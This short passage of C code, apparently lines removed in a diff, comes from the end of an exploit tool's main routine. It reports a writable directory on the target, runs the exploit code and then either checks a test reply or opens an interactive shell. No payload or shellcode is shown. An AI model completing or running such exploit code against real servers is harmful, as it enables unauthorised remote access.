- printf (" %s is writable.. rock on!\n", hostinf.pwd);
-
- if (!tesopt.dirscanonly) {
- printf("Trying to sploit...\n");
- sptr->code();
- tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
- if (!i)
- printf ("sploiting not successfull\n");
- }
-
- cleanup_and_exit();
- return (0); /* not reached */
- }
-